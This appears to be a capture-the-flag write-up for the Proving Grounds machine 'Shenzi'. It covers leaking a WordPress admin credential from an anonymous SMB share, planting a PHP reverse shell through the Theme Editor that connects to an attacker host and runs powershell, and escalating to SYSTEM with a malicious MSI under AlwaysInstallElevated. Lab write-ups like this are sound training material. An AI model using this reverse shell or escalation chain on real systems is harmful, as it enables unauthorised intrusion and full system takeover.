Shenzi Writeup - Proving Grounds
Created October 8, 2026 • Last updated October 8, 2026 • 3 min read
Shenzi leaks a WordPress admin password through an anonymously readable SMB share, which unlocks the Theme Editor for an authenticated PHP reverse shell. The resulting foothold sits in a position where the Windows Installer policy allows any user to install MSI packages with elevated rights, and a malicious MSI run through msiexec escalates straight to SYSTEM.
Reconnaissance
Nmap
Scan the target for open services.
PORT STATE SERVICE VERSION 21/tcp open ftp FileZilla ftpd 0.9.41 beta 80/tcp open http Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn 443/tcp open ssl/http Apache httpd 2.4.43 445/tcp open microsoft-ds 3306/tcp open mysql MariaDB
FTP, a Windows SMB stack, and an XAMPP web server. Check SMB for anonymous access first.
SMB share enumeration
STATUS_ACCESS_DENIED (netexec null auth) Sharename Type Comment --------- ---- ------- Shenzi Disk
netexec rejects the null session, but smbclient -N still lists shares anonymously; worth trying both tools before ruling SMB out. The Shenzi share is readable.
Getting file passwords.txt Getting file readme_en.txt Getting file xampp-control.ini
passwords.txt holds a WordPress credential pair: admin:$WP_ADMIN_PASSWORD.
Web enumeration
Port 80 serves the default XAMPP page, with a WordPress install at /shenzi/.
Exploitation
WordPress Theme Editor RCE
Log in to /shenzi/wp-login.php with the leaked credentials, then open Appearance → Theme Editor → 404.php on the active Twenty Twenty theme. Replace its contents with a PHP reverse shell and save.
<?php
set_time_limit(0);
$sock = fsockopen("$ATTACKER_IP", $ATTACKER_PORT);
$proc = proc_open("powershell", array(0 => $sock, 1 => $sock, 2 => $sock), $pipes);
With the theme file saved, start a listener and request the modified page to trigger it.
listening on [any] $ATTACKER_PORT ...
The listener catches a shell as shenzi.
Privilege Escalation
AlwaysInstallElevated
Check the Windows Installer policy in both hives.
AlwaysInstallElevated REG_DWORD 0x1 AlwaysInstallElevated REG_DWORD 0x1
Both HKLM and HKCU are set to 0x1, so any MSI installed through msiexec runs as SYSTEM regardless of who starts it. Build a malicious MSI and serve it.
Saved as: shell.msi Serving HTTP on 0.0.0.0 port 8080 ...
From the shenzi shell, download it to a known-writable path (C:\temp may not exist) and install it quietly.
A second listener catches the SYSTEM callback from the installer.
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] C:\Windows\system32>whoami nt authority\system
AlwaysInstallElevated hands over a shell as nt authority\system, no exploit code required beyond the policy misconfiguration itself.
Related
References
-
AlwaysInstallElevated (Windows Installer)DOCS: AlwaysInstallElevated (Windows Installer), learn.microsoft.com/en-us/windows/win32/msi/alwaysinstallelevated (opens in new tab)
Official Microsoft documentation for the policy abused to install the SYSTEM-level MSI.